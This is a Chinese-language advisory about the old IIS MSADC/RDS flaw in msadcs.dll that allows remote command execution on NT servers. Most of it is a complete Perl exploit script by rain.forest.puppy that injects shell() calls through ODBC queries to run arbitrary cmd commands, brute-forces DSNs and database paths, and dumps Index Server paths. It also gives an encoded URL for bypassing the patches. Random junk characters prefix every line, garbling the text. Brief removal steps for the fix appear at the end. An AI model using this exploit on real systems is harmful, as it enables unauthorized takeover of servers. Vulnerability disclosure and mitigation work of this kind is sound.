IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
33couAP# 8Md*9E#J(" 涉及程序：
lbg!B4, Microsoft NT server
|U$oS2U\m ,Mc}U9)F 描述：
&nj@t>5Bs$ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
hW>@jT"t1C Kd;|Z 详细：
qX:54$t 如果你没有时间读详细内容的话，就删除:
g<KBsz!{ c:\Program Files\Common Files\System\Msadc\msadcs.dll
Czb@:l%sc 有关的安全问题就没有了。
P 2;j>=W &#g;=jZ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
ep[ 7#\}5 SL:o.g(>4 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
\0j|~/6 关于利用ODBC远程漏洞的描述，请参看:
!e.@Xk.P6 j/wNPB/NM http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm nb22 b Xt n7X3aoVV 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
?mRU9VY http://www.microsoft.com/security/bulletins/MS99-025faq.asp IcPIOCmOc $9*Xf b/ 这里不再论述。
L3X>v3CZ5 ykl./uY' 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
1NN99^ q u-j$4\' /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
tb&{[|O^ 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
Fg5c;sls ^b;.zhp8;N -YHlVz #将下面这段保存为txt文件，然后: "perl -x 文件名"
,/:#=TuYm lpve Yz #!perl
d'^jek h #
|; {w y # MSADC/RDS 'usage' (aka exploit) script
dB_\0?jJ- #
]O7I7K # by rain.forest.puppy
33[2$FBf #
]_|qv1K6 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
hV'JTU]H # beta test and find errors!
FL0(q> $*8 $+S'Boo use Socket; use Getopt::Std;
hRxR2
getopts("e:vd:h:XR", \%args);
)" A+T& C#>c(-p>RC print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
zWB>;Z} N}VK H5U| if (!defined $args{h} && !defined $args{R}) {
292e0cE print qq~
&c ayhL/% Usage: msadc.pl -h <host> { -d <delay> -X -v }
`<y2l94tL -h <host> = host you want to scan (ip or domain)
|53Z g"! -d <seconds> = delay between calls, default 1 second
TS $ 2K -X = dump Index Server path table, if available
Q>JJI:uC4 -v = verbose
:%xiH%C> -e = external dictionary file for step 5
lkFv5^% `dn |n I2 Or a -R will resume a command session
U`ID Z{g Gv F~h0wMt ~; exit;}
];B h1 ^C_Y[i
~| $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
HWFo9as""v if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
#{U M4~|: if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
)@\= pE.H if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
L!c7$M5xJ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
b!5W!vcK if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
gI'4g ZH HeNg<5v%Y if (!defined $args{R}){ $ret = &has_msadc;
1 nX/ 5z_U die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
6*GY%~JbD /*`u(d2g print "Please type the NT commandline you want to run (cmd /c assumed):\n"
wC`])z}bT . "cmd /c ";
-fT]}T6= $in=<STDIN>; chomp $in;
k[gO>UGB; $command="cmd /c " . $in ;
+ Q}Y ?([ mcpM<vY/H if (defined $args{R}) {&load; exit;}
j2=jD G b,]h X print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
*Jmy:C<> &try_btcustmr;
P<
O [S Qg<_te)\ print "\nStep 2: Trying to make our own DSN...";
ujmO'blO &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
|.)oV;9 arrNx|y print "\nStep 3: Trying known DSNs...";
5yuj}/PZ &known_dsn;
+0;6.PK D7o lu29 print "\nStep 4: Trying known .mdbs...";
&^{HD }/{b &known_mdb;
GFY Ag k3}|^/bHJ if (defined $args{e}){
op/HZa print "\nStep 5: Trying dictionary of DSN names...";
0}PW<lU- &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
7^ITedW@ ]xCJ3.9 print "Sorry Charley...maybe next time?\n";
-s,^_p{H exit;
25::z9i tl
(2=\ ##############################################################################
KArR.o } ' _@Y sub sendraw { # ripped and modded from whisker
5 nkx8JJ sleep($delay); # it's a DoS on the server! At least on mine...
>hJ$~4? my ($pstr)=@_;
|K,9EM3 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
fJH09:@^% die("Socket problems\n");
ltO:./6v if(connect(S,pack "SnA4x8",2,80,$target)){
:0Rd )*k,v select(S); $|=1;
u-qg9qXJb print $pstr; my @in=<S>;
0;#%KC, select(STDOUT); close(S);
SirjWYap return @in;
Wr a W } else { die("Can't connect...\n"); }}
C;1A$]bk =%%\b_\L ##############################################################################
w9SP kPkYE VL?ub t< sub make_header { # make the HTTP request
SWN i @ my $msadc=<<EOT
zy"L%i POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
{W)Kz_ User-Agent: ACTIVEDATA
4h@jJm
Host: $ip
E*:!G Content-Length: $clen
1j`-lD Connection: Keep-Alive
M$B9?N6 lQ<2Vw#Yl ADCClientVersion:01.06
lF2im5nZ? Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
JN .\{ Y +?w 7Nm` --!ADM!ROX!YOUR!WORLD!
m$ ) yd~ Content-Type: application/x-varg
(CJiCtAsl` Content-Length: $reqlen
X};m \Bz me_DONW EOT
[2pp)wq ; $msadc=~s/\n/\r\n/g;
GvF8S MO[x return $msadc;}
' _lyoVP L'BDS* ##############################################################################
puF'w:I ( 9z$]hl sub make_req { # make the RDS request
Z3g6 ?2w6 my ($switch, $p1, $p2)=@_;
z\Rs?v" my $req=""; my $t1, $t2, $query, $dsn;
o]t6u .L HgvgO\`] if ($switch==1){ # this is the btcustmr.mdb query
0&mo1 k_U $query="Select * from Customers where City=" . make_shell();
@zL)R b%P$ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
%0fF _OU $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
r Lg(J|^ vIF=kKl9, elsif ($switch==2){ # this is general make table query
Sf);j0G,D $query="create table AZZ (B int, C varchar(10))";
w17\ \[ $dsn="$p1";}
F[<EXLQ <H<5E'm elsif ($switch==3){ # this is general exploit table query
kT&-:: ^R $query="select * from AZZ where C=" . make_shell();
,24NMv7 $dsn="$p1";}
UCj4% y6t ([R}s/)$ elsif ($switch==4){ # attempt to hork file info from index server
|5 _bFB+& $query="select path from scope()";
bZHuE h2w $dsn="Provider=MSIDXS;";}
;2Db/"`t bW(+Aw=O elsif ($switch==5){ # bad query
'Y IFHn$! $query="select";
M $ DJ$G|Z $dsn="$p1";}
l TY%,s +c.A|!- $t1= make_unicode($query);
l=8)_z;~D $t2= make_unicode($dsn);
6&M $S$y $req = "\x02\x00\x03\x00";
*:J#[ET, $req.= "\x08\x00" . pack ("S1", length($t1));
'%_1eaH $req.= "\x00\x00" . $t1 ;
Q/m))!ikMt $req.= "\x08\x00" . pack ("S1", length($t2));
7}OzTup $req.= "\x00\x00" . $t2 ;
%_0,z`f $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
k _/hgO return $req;}
{_0E f c=7 WMnR+?q ##############################################################################
S+py \z% ] e!CH
<N sub make_shell { # this makes the shell() statement
c9-$t d& return "'|shell(\"$command\")|'";}
R p
`JF}~o ?v-IN ##############################################################################
7F;"=DarOE ]:i
:QiYD sub make_unicode { # quick little function to convert to unicode
i>HipD,TD my ($in)=@_; my $out;
C7[ge& for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
jCDZ$W89 return $out;}
MH[Zw $ mr6/d1af_ ##############################################################################
F`S OF O Rq gH,AN sub rdo_success { # checks for RDO return success (this is kludge)
| :$D[= my (@in) = @_; my $base=content_start(@in);
VgtW T`F.I if($in[$base]=~/multipart\/mixed/){
1@q~(1-o return 1 if( $in[$base+10]=~/^\x09\x00/ );}
vDZhoD=VR return 0;}
R$' 4 d %lNv?sWb ##############################################################################
_ I8L#4\(= E/|]xKG sub make_dsn { # this makes a DSN for us
5tT-[mQ* my @drives=("c","d","e","f");
s\i=-` print "\nMaking DSN: ";
G;_QE<V~_ foreach $drive (@drives) {
iwWy]V m7 print "$drive: ";
AVVL]9b_2 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
A"x1MjuqLM "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
lc>)7UF . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
|};]^5s9 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
'\\d h return 0 if $2 eq "404"; # not found/doesn't exist
";E Mu(IXb if($2 eq "200") {
'bG L@H foreach $line (@results) {
i# $9>X return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
-FytkM^]6 } return 0;}
yn<H^c FL% GW: ##############################################################################
CnruaN@ rLs)*A! sub verify_exists {
Y^m 2ealC my ($page)=@_;
Oe4 l`
=2 my @results=sendraw("GET $page HTTP/1.0\n\n");
K&0op 4& return $results[0];}
:_JZn`Cab `<kH Ncm ##############################################################################
&I: [ 'l! /tl/%:U*. sub try_btcustmr {
1RM;"b/ my @drives=("c","d","e","f");
kF.!U/C my @dirs=("winnt","winnt35","winnt351","win","windows");
G,M &z>ub0 TWYz\Hmw foreach $dir (@dirs) {
e `zEsLs@ print "$dir -> "; # fun status so you can see progress
3dfG_a61y foreach $drive (@drives) {
qb(#{Sw0 print "$drive: "; # ditto
*6^|i} $reqlen=length( make_req(1,$drive,$dir) ) - 28;
*#1&IJ PI $reqlenlen=length( "$reqlen" );
>Z?fX $clen= 206 + $reqlenlen + $reqlen;
q4{Pm $OW 9;2PoW8 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
vl*CU"4 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
RR!(,j^M else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
'$pT:4EuGq J2Y-D'*s ##############################################################################
"<ow;ciJF In^MZ)? sub odbc_error {
"}Kvx{L8 my (@in)=@_; my $base;
2K<rK( my $base = content_start(@in);
i)f3\?,, if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
]'V8{l $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
#P *%FgROl $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
d Q ?4@ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
qKt8sxg return $in[$base+4].$in[$base+5].$in[$base+6];}
V&vU her0 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
/:v+:-lU print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
(-*NRY3* $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
Q:eIq<erY H+vONg ##############################################################################
i$;GEM}tv Af1 izS3 sub verbose {
Cnd70tbD ) my ($in)=@_;
$'e;ScH return if !$verbose;
rB;` &)- print STDOUT "\n$in\n";}
eO; i1 > vF"<r,pg ##############################################################################
gP8Fe =] j)ZvlRi, sub save {
CN8Ge Z-G my ($p1, $p2, $p3, $p4)=@_;
^@ s!"c open(OUT, ">rds.save") || print "Problem saving parameters...\n";
:J]S+tQ) print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
WsRG>w3" close OUT;}
/_y%b.f^ *%1:="W*| ##############################################################################
! utgo/n H|;6K`O_ sub load {
L;/#D> U ( my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
%F-/|x1#Q open(IN,"<rds.save") || die("Couldn't open rds.save\n");
TE z)d= @p=<IN>; close(IN);
1rh\X[@ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
Onb*nm $target= inet_aton($ip) || die("inet_aton problems");
hh<5?1 print "Resuming to $ip ...";
+*'
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
J XKps#,(# if($p[1]==1) {
_?>!Bz
m $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
(1JZuR<?c $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
3 lH#+@ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
7 vUfA" if (rdo_success(@results)){print "Success!\n";}
c_clpMx= else { print "failed\n"; verbose(odbc_error(@results));}}
v'i"Q elsif ($p[1]==3){
LqIMU4Ex if(run_query("$p[3]")){
J0zu dbP print "Success!\n";} else { print "failed\n"; }}
o_&.R elsif ($p[1]==4){
|t CD@M if(run_query($drvst . "$p[3]")){
6 G X'&z print "Success!\n"; } else { print "failed\n"; }}
Ag}V >i' exit;}
qd{o64;| pcXY6[#N ##############################################################################
#n %?} nN>D=a"&F sub create_table {
3U<\y 6/ my ($in)=@_;
0h!2--Aur $reqlen=length( make_req(2,$in,"") ) - 28;
BF8n: }9U $reqlenlen=length( "$reqlen" );
@_ ^QB w0 $clen= 206 + $reqlenlen + $reqlen;
`%;n HQ" my @results=sendraw(make_header() . make_req(2,$in,""));
:,rD5a OQ return 1 if rdo_success(@results);
4 q}1 my $temp= odbc_error(@results); verbose($temp);
1<A+.W return 1 if $temp=~/Table 'AZZ' already exists/;
k$:Q pTg[ return 0;}
f^](D'L?D WS9n.opl} ##############################################################################
[W=%L:E a IcZ_AIjlk sub known_dsn {
^% BD # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
S`2M QL my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
Ht?
u{\p@ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
udtsq"U_% "banner", "banners", "ads", "ADCDemo", "ADCTest");
X5 lB],t"= SdC505m 0* foreach $dSn (@dsns) {
^k &zX!W print ".";
I9*o [Jp5 next if (!is_access("DSN=$dSn"));
z: 9 if(create_table("DSN=$dSn")){
xou 7j
print "$dSn successful\n";
Dntcv|% u if(run_query("DSN=$dSn")){
$D5[12X print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Na: M1Uhb print "Something's borked. Use verbose next time\n";}}} print "\n";}
z 6y k ##############################################################################
St,IWOmq" RI w6i?/I sub is_access {
$t.N |b`' my ($in)=@_;
ehCc
N4V( $reqlen=length( make_req(5,$in,"") ) - 28;
,]Yjo>`tW $reqlenlen=length( "$reqlen" );
+ EG.p $clen= 206 + $reqlenlen + $reqlen;
2T5@~^:7u my @results=sendraw(make_header() . make_req(5,$in,""));
s=#IoNh my $temp= odbc_error(@results);
qM3^)U2 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
X0b :Oiw return 0;}
-`wGF#}y(= a8M.EFa: ##############################################################################
mkYM/*qyM& j)Kk:BFFY sub run_query {
qMYR\4"$ my ($in)=@_;
G39H@@ *O0 $reqlen=length( make_req(3,$in,"") ) - 28;
Q nZR $reqlenlen=length( "$reqlen" );
( f8g}2 $clen= 206 + $reqlenlen + $reqlen;
deaxb8' 7 my @results=sendraw(make_header() . make_req(3,$in,""));
~B>I?j return 1 if rdo_success(@results);
%r6LU<;1@ my $temp= odbc_error(@results); verbose($temp);
F<BhN+U return 0;}
%s$ _KG !& p TUsdao^, ##############################################################################
1mOZ\L!m* o"[P++qd sub known_mdb {
nhk + 9 my @drives=("c","d","e","f","g");
N rVQK}%K my @dirs=("winnt","winnt35","winnt351","win","windows");
dDW],d}B; my $dir, $drive, $mdb;
RUf,)]Vvk my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
\s&w0V`Y >If J.g" # this is sparse, because I don't know of many
t(l TXG my @sysmdbs=( "\\catroot\\icatalog.mdb",
Wr`=P , "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
d|on
y "\\system32\\certmdb.mdb",
:*t v`:;p "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
WP 32t@ '\ 1%%F7 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
5<IUTso5h "\\cfusion\\cfapps\\forums\\forums_.mdb",
;Iw'TF "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
ec1snMY "\\cfusion\\cfapps\\security\\realm_.mdb",
8v1asFxs. "\\cfusion\\cfapps\\security\\data\\realm.mdb",
6#N1 -@ "\\cfusion\\database\\cfexamples.mdb",
\ :}) R{ "\\cfusion\\database\\cfsnippets.mdb",
*bn9j>|iv "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
la)f\Nk "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
)[9L|o5D "\\cfusion\\brighttiger\\database\\cleam.mdb",
=%U t&6}sQ "\\cfusion\\database\\smpolicy.mdb",
5
W(iU "\\cfusion\\database\cypress.mdb",
$f1L<euH "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
De tBZ . "\\website\\cgi-win\\dbsample.mdb",
a&L8W4 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
""D rf=] "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
1>a^Q ); #these are just
;}f%b E foreach $drive (@drives) {
Ze WHSU
foreach $dir (@dirs){
TuIeaH% x foreach $mdb (@sysmdbs) {
8i-?\VZD print ".";
TW3:Y\ p if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
wgLS9. print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
LU?#{dZ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
CvQ LF9 | print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
1Od: I}@ } else { print "Something's borked. Use verbose next time\n"; }}}}}
]*i>KR@G !"2 OcDFx foreach $drive (@drives) {
Zu%_kpW foreach $mdb (@mdbs) {
2_r}4)z print ".";
>ID 3oi if(create_table($drv . $drive . $dir . $mdb)){
5`x9+XvoN print "\n" . $drive . $dir . $mdb . " successful\n";
=AgY8cF!sl if(run_query($drv . $drive . $dir . $mdb)){
,)]ZD H print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
\` >Y } else { print "Something's borked. Use verbose next time\n"; }}}}
t T-]Vj. }
6ap,XFRMh z@~1 e]% ##############################################################################
+Ya-h~7;g# ;i:U oyi sub hork_idx {
(E gykh> print "\nAttempting to dump Index Server tables...\n";
mqsf#'ri print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Om}&`AP}; $reqlen=length( make_req(4,"","") ) - 28;
7Fy^K;V" $reqlenlen=length( "$reqlen" );
D>G&aQ $clen= 206 + $reqlenlen + $reqlen;
y9 s5{\H my @results=sendraw2(make_header() . make_req(4,"",""));
q<hN\kB s if (rdo_success(@results)){
sE/9~L my $max=@results; my $c; my %d;
P v1psKu for($c=19; $c<$max; $c++){
Y%=A>~s*c: $results[$c]=~s/\x00//g;
WR'A%"qBwi $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
S^x9 2&! $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
y]?$zbB $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
"g=ux^+X\ $d{"$1$2"}="";}
J8b]*2D foreach $c (keys %d){ print "$c\n"; }
E&& 80[tN] } else {print "Index server doesn't seem to be installed.\n"; }}
Wc,8<Y' >wMsZ+@m ##############################################################################
1>1 |>% {'!D2y.7g sub dsn_dict {
Do _L open(IN, "<$args{e}") || die("Can't open external dictionary\n");
^f`#8G7 ( while(<IN>){
Rdnd| $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
"9 WP^[ next if (!is_access("DSN=$dSn"));
IZ2#jSDn if(create_table("DSN=$dSn")){
D ^ &! print "$dSn successful\n";
`J-"S<c?_ if(run_query("DSN=$dSn")){
'
> \* print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
p{-1%jQ}] print "Something's borked. Use verbose next time\n";}}}
jNIM1_JjD print "\n"; close(IN);}
'6 /uc :zv ~NTpMF ##############################################################################
aD&10b9` efbt\j6@%2 sub sendraw2 { # ripped and modded from whisker
CJu;X[6 sleep($delay); # it's a DoS on the server! At least on mine...
f A 3 my ($pstr)=@_;
yS3x)) socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Sl$dXB@ die("Socket problems\n");
h M8 G"b if(connect(S,pack "SnA4x8",2,80,$target)){
qQ1m5_OD`z print "Connected. Getting data";
G3U+BC23E open(OUT,">raw.out"); my @in;
W6_3f-4g select(S); $|=1; print $pstr;
omRd'\ RO while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
Q ?Nzt;)!. close(OUT); select(STDOUT); close(S); return @in;
^mz_T+UOe } else { die("Can't connect...\n"); }}
cnIy*!cJs [9LYR3 p ##############################################################################
vu AA aKz *|=&MU*+ sub content_start { # this will take in the server headers
r?[mn^Bo 5 my (@in)=@_; my $c;
tICx Ap: for ($c=1;$c<500;$c++) {
'[juPI(! if($in[$c] =~/^\x0d\x0a/){
eq@ v2o7 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
ol YSr .Q` else { return $c+1; }}}
Vy/g;ZPU1 return -1;} # it should never get here actually
+s S*EvF K^w9@& g6 ##############################################################################
H@
w6.[ # 5#fLGXP sub funky {
#Se my (@in)=@_; my $error=odbc_error(@in);
/=3g-$o{` if($error=~/ADO could not find the specified provider/){
H a/\&Z( print "\nServer returned an ADO miscofiguration message\nAborting.\n";
3>jz3>v@ exit;}
C$%QVcf if($error=~/A Handler is required/){
l+N?:E$5=% print "\nServer has custom handler filters (they most likely are patched)\n";
=}q4ked / exit;}
f0[xMn0Tu if($error=~/specified Handler has denied Access/){
, F *e^#> print "\nServer has custom handler filters (they most likely are patched)\n";
ebao7r5@ exit;}}
pDKJLa W*s`1O > ##############################################################################
4]+ ^K` 6F(yH4 sub has_msadc {
7"[lWC!As5 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
m9q%l_ my $base=content_start(@results);
|Ji?p>\~ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
T.|0;Eb return 0;}
wG|3
iFK MkYem6 ########################
z44uhR h 21WqLgT3 4 z`Q5J9_<cV 解决方案：
$}F]pa[ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
g9
yCd(2<5 2、移除web 目录: /msadc
